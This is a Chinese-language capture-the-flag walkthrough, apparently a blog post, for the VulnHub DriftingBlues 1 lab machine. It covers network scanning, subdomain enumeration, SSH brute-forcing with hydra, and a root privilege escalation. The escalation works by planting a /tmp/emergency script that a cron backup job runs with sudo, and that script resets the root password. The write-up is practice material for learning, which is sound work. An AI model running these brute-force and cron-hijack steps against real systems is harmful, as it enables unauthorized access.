靶机渗透练习01-driftingblues

靶机描述

靶机地址:https://www.vulnhub.com/entry/driftingblues-1,625/

Description

get flags

difficulty: easy

about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email (it should be on my profile) for troubleshooting or questions.

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.24

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220217145549915

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

☁  kali  nmap -A -sV -T4 -p- 192.168.9.24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-17 14:56 CST
Nmap scan report for bogon (192.168.9.24)
Host is up (0.00035s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ca:e6:d1:1f:27:f2:62:98:ef:bf:e4:38:b5:f1:67:77 (RSA)
|   256 a8:58:99:99:f6:81:c4:c2:b4:da:44:da:9b:f3:b8:9b (ECDSA)
|_  256 39:5b:55:2a:79:ed:c3:bf:f5:16:fd:bd:61:29:2a:b7 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Drifting Blues Tech
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:FD:CE:22 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms bogon (192.168.9.24)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.55 seconds

22---ssh---OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)

80---http---Apache httpd 2.4.18 ((Ubuntu))

2.2枚举漏洞

22 端口分析

一般只能暴力破解,暂时没有合适的字典

80 端口分析

访问网站

image-20220217150031643

扫描一下目录

dirsearch -u http://192.168.9.24/

image-20220217151110945

访问http://192.168.9.24/index.html

image-20220217155503265

发现了两个邮箱sheryl@driftingblues.box eric@driftingblues.box

并查看源码

image-20220217155555873

发现了一个酷似base64的字符串

L25vdGVmb3JraW5nZmlzaC50eHQ=

image-20220217155704582

解密得到/noteforkingfish.txt,这个应该是目录文件

访问http://192.168.9.24/noteforkingfish.txt

image-20220217155800178

拿到https://www.dcode.fr/cipher-identifier分析一下

Ook!加密

image-20220217155913422

解密一下得到

image-20220217160103802

my man, i know you are new but you should know how to use host file to reach our secret location. -eric

image-20220217160342088

恩,,,大概的意思是,需要利用hosts文件访问其域名

上面得到的邮箱,可得到域名driftingblues.box

image-20220217160700650

但这个域名肯定不是要求的那个域名,咱们破解一下子域名看看

gobuster vhost -u driftingblues.box --wordlist /usr/share/wordlists/dirb/common.txt

image-20220217161009618

成功得到子域名test.driftingblues.box,添加到hosts文件

image-20220217161113584

访问http://test.driftingblues.box

image-20220217161208042

扫描一下目录dirsearch -u http://test.driftingblues.box/

image-20220217161406812

访问http://test.driftingblues.box/robots.txt

image-20220217161439545

发现一个文件:ssh_cred.txt

image-20220217161548764

发现密码:1mw4ckyyucky
密码末尾可能添加了一个数字
到此用户名和密码都有了,用户名为 eric,密码可能是

1mw4ckyyucky0
1mw4ckyyucky1
1mw4ckyyucky2
1mw4ckyyucky3
1mw4ckyyucky4
1mw4ckyyucky5
1mw4ckyyucky6
1mw4ckyyucky7
1mw4ckyyucky8
1mw4ckyyucky9

将上面保存为字典,然后尝试暴力破解

hydra -l eric -P pass.txt ssh://192.168.9.24

image-20220217161827105

得到账户密码

login: eric

password: 1mw4ckyyucky6

2.3漏洞利用

2.3.1 登陆 SSH 获取 shell

利用上面得到的账户密码登录ssh

image-20220217162035051

成功登录

2.4权限提升

2.4.1 寻找 suid 程序

在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null

eric@driftingblues:~$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/bin/ping6
/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd

https://gtfobins.github.io/网站寻找没有发现可利用的

2.4.2 信息收集计划任务提权

进入用户目录找到flag1

image-20220217162559625

进入网站目录

image-20220217162748095

无有意义的发现

进入tmp目录下发现

image-20220217163241429

发现了备份文件,说明该机器进行过备份,进入/var/backups

image-20220217163335194

果然有不少文件,同时发现了backup.sh

查看文件内容

eric@driftingblues:/var/backups$ cat backup.sh
#!/bin/bash

/usr/bin/zip -r -0 /tmp/backup.zip /var/www/
/bin/chmod

#having a backdoor would be nice
sudo /tmp/emergency

脚本 backup.sh 中有访问 backup.zip,调用 sudo /tmp/emergency ,查看这个文件

image-20220217163928119

发现并没有这个文件

创建一个文件/tmp/emergency

#!/bin/bash
echo -e "toor\ntoor" | passwd root

image-20220217165048101

修改文件属性:chmod 777 /tmp/emergency

然后再上传一个pspy64文件,这个文件之前用过了,这里不解释了

image-20220217165224578

image-20220217165436774

这里可以发现已经成功运行脚本了,切换至root用户,找到最终flag

image-20220217165545249

总结

本节通过主要靠信息收集,非常适合作为信息收集练习

  1. 目录扫描
  2. 子域名扫描
  3. 监控程序运行 pspy
  4. 信息收集计划任务提权
posted @ 2022-03-30 16:45  hirak0  阅读(313)  评论(0编辑  收藏  举报